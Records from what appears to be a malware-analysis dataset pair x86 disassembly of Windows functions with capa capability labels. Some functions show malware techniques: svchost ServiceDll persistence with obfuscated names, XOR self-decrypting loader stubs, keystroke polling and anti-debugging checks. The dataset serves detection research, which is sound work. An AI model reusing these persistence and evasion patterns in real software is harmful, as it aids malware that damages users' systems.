joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Gcgqfc_LfvlrmuwMd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Gcgqfc_LfvlrmuwMd
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Gcgqfc_LfvlrmuwMd
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__Ogb_TV_mkp_pq_bqe
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x40549d
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x408830
call fcn.0040600c
push 1
call fcn.0040576a
pop ecx
test al, al
jne 0x405340
push 7
call fcn.00405e0a
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00405735
mov byte [ebp - 0x24], al
mov eax, dword [0x40a914]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x405339
test eax, eax
jne 0x4053aa
mov dword [0x40a914], ecx
push 0x407218
push 0x407200
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40538d
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x405497
push 0x4071fc
push 0x4071dc
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40a914], 2
jmp 0x4053af
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004058c7
pop ecx
call fcn.00405dfe
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4053df
push esi
call fcn.0040583a
pop ecx
test al, al
je 0x4053df
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00406006
call esi
call fcn.00405e04
mov esi, eax
cmp dword [esi], edi
je 0x4053fd
push esi
call fcn.0040583a
pop ecx
test al, al
je 0x4053fd
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___wargv
mov edi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov esi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_wide_environment
push eax
push dword [edi]
push dword [esi]
call main
mov esi, eax
push 0
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
add esp, 0x14
call fcn.00405f1f
test al, al
jne 0x40543b
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x405444
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push 0
push 1
call fcn.004058e4
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x405497
call fcn.00406052
ret
call fcn.004051b1
jmp 0x405321

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x34d27a4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
mov ecx, 0x6c064cc2
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x406a26
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a4a
xor eax, eax
test eax, eax
je 0x406a5d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a5d
xor ecx, ecx
jmp 0x406a60
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b83
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406bba
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b94
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b8f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406beb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bcd
pop edi
not eax
pop esi
ret 0xc

Function at 0x409a1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x409a2e
pop dword [ebp - 0x10]
mov eax, 0x2b4be10a
sub eax, 0x2b0b46dc
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x4053a
push 0
mov eax, 0xd941531f
sub eax, 0xd8ff01ff
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x168c4110
add ecx, 0xe9741694
xor ebx, ebx
add ebx, eax
mov esi, 0x4cbbc25e
add esi, 0xb3876ba2
add esi, dword [ebp - 0x10]
mov edx, 0x973e475d
xor dword [ebp - 8], ecx
mov edi, dword [esi]
xor dword [ebp - 8], eax
xor edi, edx
xor dword [ebp - 0xc], 0x724f22e6
mov dword [ebx], edi
add dword [ebp - 0xc], 0x4bb6d02b
add ebx, 0xbb6e638e
add ebx, 0x44919c76
add esi, 0x94b998e8
add esi, 0x6b46671c
loop 0x409a89
add eax, 0x3325142
sub eax, 0x330ffdf
xor ebx, ebx
add ebx, eax
add eax, 0x5c61285d
sub eax, 0x5c612858
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40ca83
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419408]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406e47
mov dword [ebp - 0x14], eax
cmp dword [0x814658], esi
jne 0x40cb76
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40cb03
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cc56
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cc56
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cc56
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x814658], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x81465c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x814660], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x814668], eax
test eax, eax
je 0x40cb73
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x814664], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40cb9b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40cb8e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40cbb0
push 4
pop eax
jmp 0x40cc58
cmp dword [ebp - 0x14], esi
je 0x40cbb0
push dword [0x814658]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40cb95
mov eax, dword [0x814664]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cc0e
cmp dword [0x814668], edi
je 0x40cc0e
push eax
call ebx
push dword [0x814668]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cc0e
test eax, eax
je 0x40cc0e
call ecx
test eax, eax
je 0x40cc03
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cc03
test byte [ebp - 8], 1
jne 0x40cc0e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40cc3e
mov eax, dword [0x81465c]
cmp eax, edi
je 0x40cc3b
push eax
call ebx
test eax, eax
je 0x40cc3b
call eax
mov esi, eax
test esi, esi
je 0x40cc3b
mov eax, dword [0x814660]
cmp eax, edi
je 0x40cc3b
push eax
call ebx
test eax, eax
je 0x40cc3b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x814658]
call ebx
test eax, eax
je 0x40cc56
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cc58
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403e09
mov esp, ebp
pop ebp
ret
Function at 0x402150
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x575054]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 0x10]
xor ecx, ecx
push esi
xor esi, esi
mov dword [esp + 0x10], eax
push edi
xor edi, edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 7
mov word [esp + 0x44], cx
test eax, eax
jne 0x402199
mov dword [esp + 0x14], 1
jmp 0x40222b
push str.0587AB2B_1C6A_4AD2_811B_EF8E6F79CFED
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
mov dword [esp + 0x18], edi
test edi, edi
je 0x402223
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402288
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov dword [esp + 0x50], esi
mov ecx, esp
xorps xmm0, xmm0
movaps xmmword [esp + 0x38], xmm0
xor eax, eax
movq qword [esp + 0x48], xmm0
xor edi, edi
push 0x24
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], 7
push str.9A94352F_C5B5_4183_9A89_A67998EA3621
mov word [ecx], ax
call fcn.004033d0
lea ecx, [esp + 0x38]
call fcn.004b3d10
lea eax, [esp + 0x13]
mov byte [esp + 0x13], 0
push eax
lea ecx, [esp + 0x24]
call fcn.004b3f10
lea ecx, [esp + 0x20]
call fcn.004b3dc0
mov dword [esp + 0x14], 0x32
lea ecx, [esp + 0x44]
call fcn.00403370
test edi, edi
je 0x40223f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x402271
lea ecx, [esi + 4]
call fcn.00403370
mov edi, dword [esi]
test edi, edi
je 0x402266
mov ecx, edi
call fcn.0050978c
push 0xc8
push edi
call fcn.0050f64c
add esp, 8
push 0x20
push esi
call fcn.0050f64c
add esp, 8
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x14]
pop edi
pop esi
xor ecx, esp
call fcn.0050f27d
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x18]
call fcn.00402cc0
mov edx, dword [esp + 0x14]
xor eax, eax
mov ecx, edx
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 7
mov word [esp + 0x20], ax
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4022b0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x28]
call fcn.004033d0
lea eax, [esp + 0x20]
push eax
call fcn.00402590
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
call fcn.00403370
mov esi, dword [esp + 0x1c]
test esi, esi
je 0x40230a
mov edi, dword [esi]
test edi, edi
je 0x40230a
mov ecx, edi
mov dword [esi], 0
call fcn.0050978c
push 0xc8
push edi
call fcn.0050f64c
add esp, 8
mov edi, dword [esp + 0x18]
jmp 0x40222b
Function at 0x415220
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x512fd4
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x575054]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, dword [edi]
mov dword [esi], eax
lea ecx, [esi + 0x18]
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edi + 0x14]
mov dword [esi + 0x14], eax
lea eax, [edi + 0x18]
push eax
call fcn.00405990
lea eax, [edi + 0x30]
mov dword [ebp - 4], 0
push eax
lea ecx, [esi + 0x30]
call fcn.00405990
lea eax, [edi + 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [esi + 0x48]
call fcn.00405990
mov byte [ebp - 4], 2
lea ecx, [esi + 0x70]
mov eax, dword [edi + 0x60]
mov dword [esi + 0x60], eax
mov eax, dword [edi + 0x64]
mov dword [esi + 0x64], eax
mov eax, dword [edi + 0x68]
mov dword [esi + 0x68], eax
mov eax, dword [edi + 0x6c]
mov dword [esi + 0x6c], eax
lea eax, [edi + 0x70]
push eax
call fcn.00405990
lea eax, [edi + 0x88]
mov byte [ebp - 4], 3
push eax
lea ecx, [esi + 0x88]
call fcn.00405990
mov byte [ebp - 4], 4
lea ecx, [esi + 0xa4]
mov eax, dword [edi + 0xa0]
mov dword [esi + 0xa0], eax
lea eax, [edi + 0xa4]
push eax
call fcn.00405990
lea eax, [edi + 0xbc]
mov byte [ebp - 4], 5
push eax
lea ecx, [esi + 0xbc]
call fcn.00405990
mov dword [esi + 0xd4], 0
mov dword [esi + 0xd8], 0
mov eax, dword [edi + 0xd8]
test eax, eax
je 0x415332
lock inc dword [eax + 4]
mov eax, dword [edi + 0xd4]
mov dword [esi + 0xd4], eax
mov ecx, dword [edi + 0xd8]
mov dword [esi + 0xd8], ecx
lea ecx, [edi + 0xdc]
mov byte [ebp - 4], 7
push ecx
lea ecx, [esi + 0xdc]
call fcn.00405990
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x415570
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x513141
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x575054]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea esi, [ecx + 0x27c]
push esi
mov ecx, edi
call fcn.00405990
lea eax, [esi + 0x18]
mov dword [ebp - 4], 0
push eax
lea ecx, [edi + 0x18]
call fcn.00405990
lea eax, [esi + 0x30]
mov byte [ebp - 4], 1
push eax
lea ecx, [edi + 0x30]
call fcn.00405990
lea eax, [esi + 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [edi + 0x48]
call fcn.00405990
lea eax, [esi + 0x60]
mov byte [ebp - 4], 3
push eax
lea ecx, [edi + 0x60]
call fcn.00405990
lea eax, [esi + 0x78]
mov byte [ebp - 4], 4
push eax
lea ecx, [edi + 0x78]
call fcn.00405990
lea eax, [esi + 0x90]
mov byte [ebp - 4], 5
push eax
lea ecx, [edi + 0x90]
call fcn.00405990
lea eax, [esi + 0xa8]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0xa8]
call fcn.00405990
lea eax, [esi + 0xc0]
mov byte [ebp - 4], 7
push eax
lea ecx, [edi + 0xc0]
call fcn.00405990
lea eax, [esi + 0xd8]
mov byte [ebp - 4], 8
push eax
lea ecx, [edi + 0xd8]
call fcn.00405990
lea eax, [esi + 0xf0]
mov byte [ebp - 4], 9
push eax
lea ecx, [edi + 0xf0]
call fcn.00405990
lea eax, [esi + 0x108]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [edi + 0x108]
call fcn.00405990
lea eax, [esi + 0x120]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [edi + 0x120]
call fcn.00405990
lea ecx, [esi + 0x138]
mov byte [ebp - 4], 0xc
push ecx
lea ecx, [edi + 0x138]
call fcn.00405990
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x41f2f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x41f32b
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41f32b
cmp dword [eax + 4], 0x100
jne 0x41f32b
mov eax, dword [eax + 8]
cmp eax, 0x4c
je 0x41f325
add eax, 0xffffffb2
cmp eax, 2
ja 0x41f32b
xor eax, eax
pop ebp
ret 0x10
mov eax, 1
pop ebp
ret 0x10

Function at 0x4257c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push 0
push 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
lea eax, [esi - 0x50]
push eax
push 0x425f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [esi + 0xc], eax
pop esi
setne al
pop ebp
ret 8